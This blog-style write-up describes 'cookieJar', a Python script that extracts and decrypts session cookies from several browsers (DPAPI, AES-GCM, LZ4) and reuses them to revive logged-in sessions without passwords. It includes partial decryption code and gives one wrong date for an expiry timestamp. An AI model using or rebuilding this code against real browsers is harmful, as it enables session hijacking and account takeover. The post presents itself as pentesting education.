a fun aspect of pentesting is finding interesting ways to get authenticated sessions running. usually, a session authentication relies on the user entering some kind of key (password) that corresponds to their user ID (username). however, in some cases an attacker can “revive” sessions using just the session cookies.
i wrote cookieJar for exactly this purpose: extracting cookies from various browsers (and factor in the OS) and then use them to create authenticated sessions. the script handles different formats and encryption methods (see: Cryptodome) and can extract cookies related to all websites or a specific domain.
some limitiations of the script:
if browsers update their cookie storage mechanisms (very likely), the script will stop working.
accounts with 2FA will stop the script from working.
sessions are managed server-side, so if specific parameters like user-agent, IP address, etc. don’t line up, the script will stop working.
consent + security risks…
cookieJar uses several libraries and modules to retrieve, decrypt, and manage browser cookies across multiple browsers and operating systems. arguably, the most important module i’ve used is Cryptodome, which is included in the source repo
.
Cryptodome
the Cryptodome module contains the pycryptodome library, which is used for secure hashing and encryption services. in the context of cookieJar, it’s used for decrypting cookies.
AES.py: used for decrypting cookies from browsers like chrome, opera, edge.
KDF.py: a key derivation function that’s used to generate a cryptographic key from a password. used in the PBKDF2 function in cookieJar.
padding.py: used in block cipher algorithms to ensure that the last block of data is the correct size. used in unpad to remove padding from the decrypted data.
lz4.block: part of the lz4 library, which provides bindings for the LZ4 compression algorithm. used specifically for handling cookies from firefox, which uses the compression algorithm to store its cookies.
cookieJar
cookieJar is a comprehensive python script for security research and penetration testing, as it allows researchers to analyze the cookies stored by a browser, which can contain sensitive information such as session identifiers and login tokens.
<http.cookiejar.Cookie version=0 name='sessionid' value='1234567890abcdef' port=None port_specified=False domain='instagram.com' domain_specified=True domain_initial_dot=False path='/' path_specified=True secure=True expires=1672444800 discard=False comment=None comment_url=None rest={'HttpOnly': None}, rfc2109=False>
this cookie has the following properties:
name: the name of the cookie (sessionid).
value: the value of the cookie, usually a unique identifier that the server uses to recognize the client.
domain: the domain that set the cookie (instagram.com).
path: path on the domain where the cookie is valid. in this case, it’s /, meaning the cookie is valid for the entire domain.
secure: a boolean value indicating whether the cookie should only be sent over secure (HTTPS) connections.
expires: expiration date of the cookie as a timestamp (1672444800 corresponds to january 1st, 2024).
HttpOnly: a flag indicating whether the cookie is inaccessible to javascript’s Document.cookie API to mitigate XSS attacks.
the actual data stored in a cookie can vary greatly depending on the website and the purpose of the cookie. for example, a session cookie might contain a unique identifier that the server uses to keep track of your session, while a preference cookie might contain information about your preferred language or other settings.
when cookieJar collects cookies, it stores them in a http.cookiejar.CookieJar object. this object behaves like a list of http.cookiejar.Cookie objects, and you can iterate over it to access individual cookies.
cookies = load()
for cookie in cookies:
print(cookie)
this will print out all the cookies stored in the CookieJar, one per line.
importing necessary libraries
the script first imports some standard and 3rd-party libraries. they provide the necessary functionalities for file handling, database operations, encryption and more.
import base64
import configparser
import contextlib
import glob
import http.cookiejar
import json
import os
import struct
import subprocess
import sys
import tempfile
from io import BytesIO
from typing import Union
it also imports the sqlite3 library, which is used to interact with SQLite databases that many browsers use to store cookies. if the pysqlite2.dbapi2 module is available, it’s used instead of the standard sqlite3 module (improved performance + additional features).
try:
from pysqlite2 import dbapi2 as sqlite3
except ImportError:
import sqlite3
for linux/BSD, the script imports either dbus or jeepney. these are used to interact with the d-bus message system, a mechanism that allows different parts of the system to communicate with each other. in this case, it’s used to retrieve the encryption key for cookies from the system’s keyring.
if sys.platform.startswith('linux') or 'bsd' in sys.platform.lower():
try:
import dbus
USE_DBUS_LINUX = True
except ImportError:
import jeepney
from jeepney.io.blocking import open_dbus_connection
USE_DBUS_LINUX = False
the lz4.block is imported for handling LZ4-compressed cookies from firefox. LZ4 is a fast, lossless compression algorithm that firefox uses to store its cookies.
import lz4.block
finally, the script imports the aforementioned modules from the Cryptodome library.
from Cryptodome.Cipher import AES
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Util.Padding import unpad
defining constants + helper functions
the script defines a constant for the default chromium password, used as the key for encrypting cookies in chromium-based browsers. it also defines a custom exception class for browser cookie errors.
class ChromiumBasedBrowser:
...
def load(self):
...
# decrypt the cookie value
value = self._decrypt(value, enc_value)
...
def _decrypt(self, value, encrypted_value):
...
data = aes.decrypt_and_verify(encrypted_value[12:-16], tag)
...
return data.decode()
the firefox class handles cookies from firefox, using the lz4.block module to decompress LZ4-compressed cookies.
class Firefox:
...
def __add_session_cookies_lz4(self, cj):
...
json_data = json.loads(lz4.block.decompress(file_obj.read()))
...
loading cookies from all browsers
the load function loads cookies from all supported browsers and returns them in a combined http.cookiejar.CookieJar object. this function iterates over a list of functions that load cookies from each supported browser, and adds all the cookies they return to a single CookieJar.
def load(domain_name=""):
# function to load cookies from all supported browsers and return combined cookie jar
cj = http.cookiejar.CookieJar()
for cookie_fn in [chrome, chromium, opera, opera_gx, brave, edge, vivaldi, firefox, safari]:
try:
for cookie in cookie_fn(domain_name=domain_name):
cj.set_cookie(cookie)
except BrowserCookieError:
pass
return cj
the script includes a separate class for each browser, as each browser stores its cookies differently. these classes inherit from the Browser base class, which provides common functionality, and override the load method to implement specific cookie extraction and decryption.
for example, the Chrome class handles cookies from google chrome.
class Chrome(ChromiumBasedBrowser):
def __init__(self, cookie_file=None, domain_name="", key_file=None):
super().__init__(cookie_file, domain_name, key_file)
the firefox class handles cookies from firefox, but overrides the load method to handle firefox unique cookie storage format.
class Firefox(Browser):
def __init__(self, cookie_file=None, domain_name=""):
super().__init__(cookie_file, domain_name)
def load(self):
...
decrypting cookies
the ability to decrypt encrypted cookies is the most important part of cookieJar. it’s done using the Cryptodome library, which provides a variety of cryptographic recipes and primitives.
the decryption process varies depending on the browser and the OS. for example, chromium-based browsers on windows use the windows data protection API (DPAPI) to encrypt cookies, while on linux/macOS, they use AES encryption with a key derived from a predefined password.
the _decrypt method in the ChromiumBasedBrowser handles this decryption process. it first checks the OS, then uses the appropriate decryption method.
def _decrypt(self, value, encrypted_value):
# method to decrypt encoded cookies
...
if sys.platform == 'win32':
try:
# try to decrypt using the Windows Chromium method
decrypted_value = _crypt_unprotect_data(encrypted_value)
except Exception:
return value
else:
# for Linux & Mac, we have to remove the 'v10' or 'v11' prefix
encrypted_value = encrypted_value[3:]
nonce, tag = encrypted_value[:12], encrypted_value[-16:]
cipher = AES.new(self.v10_key, AES.MODE_GCM, nonce=nonce)
decrypted_value = cipher.decrypt_and_verify(encrypted_value[12:-16], tag)
return decrypted_value.decode('utf-8')
in the case of windows, the _crypt_unprotect_data function is used to decrypt the cookie using the DPAPI. this function uses the CryptUnprotectData function from the crypt32.dll library, which is a part of the windows API.
def _crypt_unprotect_data(
cipher_text=b'', entropy=b'', reserved=None, prompt_struct=None, is_key=False
):
...
if not ctypes.windll.crypt32.CryptUnprotectData(
ctypes.byref(blob_in), ctypes.byref(desc), ctypes.byref(blob_entropy),
reserved, prompt_struct, CRYPTPROTECT_UI_FORBIDDEN, ctypes.byref(blob_out)
):
# if the function fails, raise a RuntimeError
raise RuntimeError('Failed to decrypt the cipher text with DPAPI') # raise an error
on linux/macOS, the script uses the AES algorithm from the Cryptodome.Cipher module to decrypt the cookies. the key for the AES encryption is derived from the predefined password using the PBKDF2 algorithm from the Cryptodome.Protocol.KDF module.
aes = AES.new(self.v10_key, AES.MODE_GCM, nonce=nonce)
data = aes.decrypt_and_verify(encrypted_value[12:-16], tag)
error handling
issues can arise when dealing with cookies. for example, if a browser’s cookies are stored in a SQLite database, and that database is locked because the browser is currently using it, the script creates a temporary copy of the database to avoid a locking error.
def _create_local_copy(cookie_file):
...
with contextlib.closing(sqlite3.connect('file:{}?mode=ro'.format(pathname2url(cookie_file)), uri=True)) as conn:
with tempfile.TemporaryFile() as tmp_file:
for line in conn.iterdump():
tmp_file.write('{}\n'.format(line).encode('utf-8'))
tmp_file.seek(0)
conn_temp = sqlite3.connect('file:{}?mode=rw'.format(pathname2url(tmp_file.name)), uri=True)
return conn_temp
the script also includes a custom exception class: BrowserCookieError. it’s raised when there’s an error retrieving or decrypting cookies, this allows the script to fail gracefully and provide usefull error messages.
class BrowserCookieError(Exception): pass
conclusion
i wrote this for the same reason i wrote everything else: education. cookieJar illustrates key security concepts, specifically those related to web security, encryption, and data storage.